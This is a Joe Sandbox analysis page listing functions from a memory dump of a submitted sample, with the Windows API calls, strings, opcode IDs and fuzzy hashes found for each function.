Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Message
String ID: .tmp$y@
API String ID: 2030045667-2396523267
Opcode ID: 68ca499064e88ad8d4bc1f4a2fd3397b1c963b2c890da41c2fdfea5cc663c78d
Instruction ID: eba11cc0b212557bcf85e4c41764595d0d3f2f842990b0293eb01d0c1562b25b
Opcode Fuzzy Hash: 68ca499064e88ad8d4bc1f4a2fd3397b1c963b2c890da41c2fdfea5cc663c78d
Instruction Fuzzy Hash: 9841BD30600200DFC711EF25DE96A5A77A5EB49304B50463AF804B73E2CBB9AC05CBED

Function 00409E62 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MessageBoxA.USER32(00000000,00000000,00000000,00000024), ref: 00409EAB

Strings

.tmp, xrefs: 00409EF1
y@, xrefs: 00409FB4

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Message
String ID: .tmp$y@
API String ID: 2030045667-2396523267
Opcode ID: b92571b7798fdf1738320cf5764acc74050170256781880fb7a821db28d3127f
Instruction ID: fef9de22095f7e51d457e3baefdda2d393bbfb66a144e2f6f14d312cbfdc2d61
Opcode Fuzzy Hash: b92571b7798fdf1738320cf5764acc74050170256781880fb7a821db28d3127f
Instruction Fuzzy Hash: 3A418D70610204DFC711EF25DED6A5A77A5EB49308B50463AF804B73E2CBB9AC05CBAD

Function 00409330 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,0040941F,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409376
GetLastError.KERNEL32(00000000,00000000,?,00000000,0040941F,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040937F

Strings

.tmp, xrefs: 0040935F

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: .tmp
API String ID: 1375471231-2986845003
Opcode ID: 8228534b5fce36e17f8a1a4f12b5018fbfc2097e6833105d4f39ac42e8c6f43b
Instruction ID: a1094b0e4056d8a2da25745c6e48f9a4b2523a9a3c4edc503687ab74cbc79d39
Opcode Fuzzy Hash: 8228534b5fce36e17f8a1a4f12b5018fbfc2097e6833105d4f39ac42e8c6f43b
Instruction Fuzzy Hash: 3A213674A002099BDB05FFA1C9429DEB7B9EF48304F50457BE901B73C2DA7C9E059AA5

Function 00407749 Relevance: 3.3, APIs: 2, Instructions: 284
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004076DF

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 2dcb34b7253c06e6037fe4e1c91b55c1fb8a74294a45886a788786d1cab60b08
Instruction ID: ef7112967ca92329f6454244f41010afd6781152a6d2bd16d4b387d8db15cd6b
Opcode Fuzzy Hash: 2dcb34b7253c06e6037fe4e1c91b55c1fb8a74294a45886a788786d1cab60b08
Instruction Fuzzy Hash: F951D12294D2910FC7126B7849685A53FE0FE5331532E92FBC5C1AB1A3D27CA847D35B

Function 00406FA0 Relevance: 3.0, APIs: 2, Instructions: 33
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNEL32(00008000), ref: 00406FAA
LoadLibraryA.KERNEL32(00000000,00000000,00406FF4,?,00000000,00407012,?,00008000), ref: 00406FD9

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ErrorLibraryLoadMode
String ID:
API String ID: 2987862817-0
Opcode ID: 9b48b29771c4fc6652b627c4d055133170331230f079557c80f3f4e2880abe46
Instruction ID: 292e1fc4e19851716b0ab93d2d43454b233f1d25ff8a05a0d03104374ea2dcbc
Opcode Fuzzy Hash: 9b48b29771c4fc6652b627c4d055133170331230f079557c80f3f4e2880abe46
Instruction Fuzzy Hash: D6F08270A14704BEDB129FB68C5282ABBECEB4DB0475349BAF914A26D2E53C5C209568

Function 0040766C Relevance: 3.0, APIs: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNEL32(?,?,?,00000000), ref: 0040768B
GetLastError.KERNEL32(?,?,?,00000000), ref: 00407693

Part of subcall function 0040748C: GetLastError.KERNEL32(0040738C,0040752A,?,?,021703AC,?,00409CCE,00000001,00000000,00000002,00000000,0040A2C5,?,00000000,0040A2FC), ref: 0040748F

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ErrorLast$FilePointer
String ID:
API String ID: 1156039329-0
Opcode ID: cf8b3d77442686d6cce32677ffa2556d95a4d660bd32a6059a32509021572d83
Instruction ID: 64daf3b7b2b4cd691f255a674f922558070816022eb0a012369b73df1192a31e
Opcode Fuzzy Hash: cf8b3d77442686d6cce32677ffa2556d95a4d660bd32a6059a32509021572d83
Instruction Fuzzy Hash: B2E092766081016FD600D55EC881B9B37DCDFC5364F104536B654EB2D1D679EC108776

Function 0040762C Relevance: 3.0, APIs: 2, Instructions: 30
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32(?,?,?,?,00000000), ref: 00407643
GetLastError.KERNEL32(?,?,?,?,00000000), ref: 00407652

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: 1b4aea639ae4b78e93b9ef79541d7064bf1f98a27d237b51b731e51654b8bdcb
Instruction ID: e2f452503b48da12a69c10a9d1416f2aa512a4714c212e67fea7d8588799396e
Opcode Fuzzy Hash: 1b4aea639ae4b78e93b9ef79541d7064bf1f98a27d237b51b731e51654b8bdcb
Instruction Fuzzy Hash: 69E012A1A081106ADB24A66E9CC5F6B6BDCCBC5724F14457BF504DB382D678DC0487BB

Function 004075C4 Relevance: 3.0, APIs: 2, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNEL32(?,00000000,?,00000001), ref: 004075DB
GetLastError.KERNEL32(?,00000000,?,00000001), ref: 004075E7

Part of subcall function 0040748C: GetLastError.KERNEL32(0040738C,0040752A,?,?,021703AC,?,00409CCE,00000001,00000000,00000002,00000000,0040A2C5,?,00000000,0040A2FC), ref: 0040748F

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ErrorLast$FilePointer
String ID:
API String ID: 1156039329-0
Opcode ID: 7730a1f6a5d1c383143cef2e1ec1cb69b5af0836910a757b2920ce96cbe13b7f
Instruction ID: 74cf86129294d2faf5969c20f66175129728110ffa3c668ef2bae8a95e28f18b
Opcode Fuzzy Hash: 7730a1f6a5d1c383143cef2e1ec1cb69b5af0836910a757b2920ce96cbe13b7f
Instruction Fuzzy Hash: C4E04FB1600210AFDB10EEB98D81B9676D89F48364F0485B6EA14DF2C6D274DC00C766

Function 00401430 Relevance: 2.5, APIs: 2, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,00401739), ref: 0040145F
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,00401739), ref: 00401486

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 2e9c029c9a25ba07e21da294550151284eb3fb058128c9ffe8d20eb9f4f906d3
Instruction ID: 29306f1da17679ce7d7d3cecb65679b0075e6f6f2ddca0a826851c871ac90975
Opcode Fuzzy Hash: 2e9c029c9a25ba07e21da294550151284eb3fb058128c9ffe8d20eb9f4f906d3
Instruction Fuzzy Hash: 57F02772B0032057DB206A6A0CC1B636AC59F85B90F1541BBFA4CFF3F9D2B98C0042A9

Function 00405270 Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

GetSystemDefaultLCID.KERNEL32(00000000,004053A6), ref: 0040528F

Part of subcall function 00404CCC: LoadStringA.USER32(00400000,0000FF87,?,00000400), ref: 00404CE9

Part of subcall function 004051FC: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040C4BC,00000001,?,004052C7,?,00000000,004053A6), ref: 0040521A

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: DefaultInfoLoadLocaleStringSystem
String ID:
API String ID: 1658689577-0
Opcode ID: b3b1cc4509b278e8422c820c611847d06614f75bfee0a937bc817707f8d770d6
Instruction ID: 2407abf821673f044c2d0b48b7a4a38d2d1f2757cafa01d062fe92b1f2c090cc
Opcode Fuzzy Hash: b3b1cc4509b278e8422c820c611847d06614f75bfee0a937bc817707f8d770d6
Instruction Fuzzy Hash: 73314D75E0010AABCB00DF95C8C19EEB379FF84304F158977E815BB285E739AE059B98

Function 00407576 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 004075B8

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c8aa5b1e1f382d9b7ab40d46c96f796d669d4b8c7333918930cf1677525ebce7
Instruction ID: d860c9bcffbd3325f9178b4d72e9b59b5a3ff3896166b15a891a1a6cde46a7a7
Opcode Fuzzy Hash: c8aa5b1e1f382d9b7ab40d46c96f796d669d4b8c7333918930cf1677525ebce7
Instruction Fuzzy Hash: 6EE06D713442082EE3409AEC6C51FA277DCD309354F008032B988DB342D5719D108BE8

Function 00407578 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 004075B8

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3bd7282c13d8f152a8301508d2aa72b6e2817799d08f3caede8a9fdcd0036c45
Instruction ID: d44512077142226ebef1615cfdb59f208ea4aebd3ed4d24446e2b73eb7949d4a
Opcode Fuzzy Hash: 3bd7282c13d8f152a8301508d2aa72b6e2817799d08f3caede8a9fdcd0036c45
Instruction Fuzzy Hash: A7E06D713442082ED2409AEC6C51F92779C9309354F008022B988DB342D5719D108BE8

Function 004069DC Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,00000000,00406A24,?,?,?,?,00000000,?,00406A39,00406D67,00000000,00406DAC,?,?,?), ref: 00406A07

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2f6b808c0a98facf9b4219f47e50352985dbcf5de86cc118cb6830f30f21a29b
Instruction ID: ccd219c895c276d3a4f2ed408fb3af00451e62210c6f1137e8185e88dac79a2a
Opcode Fuzzy Hash: 2f6b808c0a98facf9b4219f47e50352985dbcf5de86cc118cb6830f30f21a29b
Instruction Fuzzy Hash: A0E0ED30300304BBD301FBA6CC42E4ABBECDB8A708BA28476B400B2682D6786E108428

Function 004076C8 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004076DF

Part of subcall function 0040748C: GetLastError.KERNEL32(0040738C,0040752A,?,?,021703AC,?,00409CCE,00000001,00000000,00000002,00000000,0040A2C5,?,00000000,0040A2FC), ref: 0040748F

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 8d2af3ab7a63a8387ab01b8eb17bee2761ee08039256abb6018552f25082062b
Instruction ID: d11fc940c1eb4d9ab9bd5ee1403c634941755763b259216c6d34bff68e3e8731
Opcode Fuzzy Hash: 8d2af3ab7a63a8387ab01b8eb17bee2761ee08039256abb6018552f25082062b
Instruction Fuzzy Hash: 6DE0ED766081106BD710A65AD880EAB67DCDFC5764F00407BF904DB291D574AC049676

Function 00407284 Relevance: 1.5, APIs: 1, Instructions: 28windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00409127,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 004072A3

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: FormatMessage
String ID:
API String ID: 1306739567-0
Opcode ID: 2dc6ecac2658c0303fbeb732946dba8a31d4bcf901e7642ce2bff6997528785c
Instruction ID: 7b38442d06f496379890204edef453c821f476d6c52b93f329ea0e63e965d40b
Opcode Fuzzy Hash: 2dc6ecac2658c0303fbeb732946dba8a31d4bcf901e7642ce2bff6997528785c
Instruction Fuzzy Hash: 17E0D8A0B8830136F22414544C87B77220E47C0700F10807E7700ED3C6D6BEA906815F

Function 004076AC Relevance: 1.5, APIs: 1, Instructions: 11fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNEL32(?,02188000,0040A08C,00000000), ref: 004076B3

Part of subcall function 0040748C: GetLastError.KERNEL32(0040738C,0040752A,?,?,021703AC,?,00409CCE,00000001,00000000,00000002,00000000,0040A2C5,?,00000000,0040A2FC), ref: 0040748F

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ErrorFileLast
String ID:
API String ID: 734332943-0
Opcode ID: 3c9e02bda174eefd6a6752df40b73b0cbe28e66d981a9881f8e50d89b6fd2d40
Instruction ID: f788b2e916ece263959a2b362e6cc5638f15ca068e5e6b6e193a7bb405067b9b
Opcode Fuzzy Hash: 3c9e02bda174eefd6a6752df40b73b0cbe28e66d981a9881f8e50d89b6fd2d40
Instruction Fuzzy Hash: BEC04CA1A1410047CB40A6BE89C1A1666D85A4821530485B6B908DB297D679E8004666

Function 00406FFB Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,00407019), ref: 0040700C

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 070e151ae7371931e812c23e1680e2574253ea8634671ff6451d3f815f7c1847
Instruction ID: c47f2f618e2971e07f5b1abb1c43dc6c143ad8b034d1ddbdae76011a93498253
Opcode Fuzzy Hash: 070e151ae7371931e812c23e1680e2574253ea8634671ff6451d3f815f7c1847
Instruction Fuzzy Hash: 54B09B76A1C2415DE705DAD5745153863D4D7C47143A14977F104D35C0D53DA4144519

Function 00407017 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,00407019), ref: 0040700C

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 258b7047379ce46b8540a294da6ad57472ce1849ceeb23a1b4b516eeda09cad2
Instruction ID: a55afa0689d716a84ca499c05243e055e04a08b2ab071a0afeb25d409e08decd
Opcode Fuzzy Hash: 258b7047379ce46b8540a294da6ad57472ce1849ceeb23a1b4b516eeda09cad2
Instruction Fuzzy Hash: FFA022A8C08000B2CE00E2E08080A3C23283A88308BC08BA2320CB20C0C03CE008020B

Function 00406970 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

CharPrevA.USER32(?,?,0040696C,?,00406649,?,?,00406D87,00000000,00406DAC,?,?,?,?,00000000,00000000), ref: 00406972

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 4f55c7aa95ee0cc6def6f8b84b07f7a00b4eea213dcaa2411b48aa5a82a0c27b
Instruction ID: 57bb655d476c0b104ac503b4dc16dcc9cc7d9309af7e6782790f501f1b0aeff9
Opcode Fuzzy Hash: 4f55c7aa95ee0cc6def6f8b84b07f7a00b4eea213dcaa2411b48aa5a82a0c27b
Instruction Fuzzy Hash:

Function 00407F10 Relevance: 1.3, APIs: 1, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 00407FA0

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f3d8bc7867bd0b1d1bf8a1a21c6b81e8059d467c94b9dab864cb1ccd8d8ada4e
Instruction ID: 20a67eb23ea55951ef5110b519d4bcc97d420124264edb02c1094051c82f9398
Opcode Fuzzy Hash: f3d8bc7867bd0b1d1bf8a1a21c6b81e8059d467c94b9dab864cb1ccd8d8ada4e
Instruction Fuzzy Hash: D2117571A042059BDB00EF19C881B5B7794AF44359F05807EF958AB3C6DB38EC00CBAA

Function 00401658 Relevance: 1.3, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,?,00004000,?,0000000C,?,-00000008,00003FFB,004018BF), ref: 004016B2

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: b4adf7af80dac51c1d798f2a6c61165d01e4b71ea77261fd7569ef2c91f553a4
Instruction ID: 63c8255cdd02620dd55efc6405714c3c0a63becca9b218cdeda95617091702f1
Opcode Fuzzy Hash: b4adf7af80dac51c1d798f2a6c61165d01e4b71ea77261fd7569ef2c91f553a4
Instruction Fuzzy Hash: 3601A7726442148BC310AF28DDC093A77D5EB85364F1A4A7ED985B73A1D23B6C0587A8

Function 00407548 Relevance: 1.3, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 00407558

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: fc6098dcd6b1504a072b68d3feaaa537492281b052079d944a979dec092e75e7
Instruction ID: e7ddd8f09f86228f97b62737e097d00c20d119481f2284b048c56b7aa048eabb
Opcode Fuzzy Hash: fc6098dcd6b1504a072b68d3feaaa537492281b052079d944a979dec092e75e7
Instruction Fuzzy Hash: 41D05E82B00A6017D615F2BE4D8869692D85F89685B08843AF654E77D1D67CEC00838D

Function 00407EB8 Relevance: 1.3, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,00407E9D), ref: 00407ECF

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

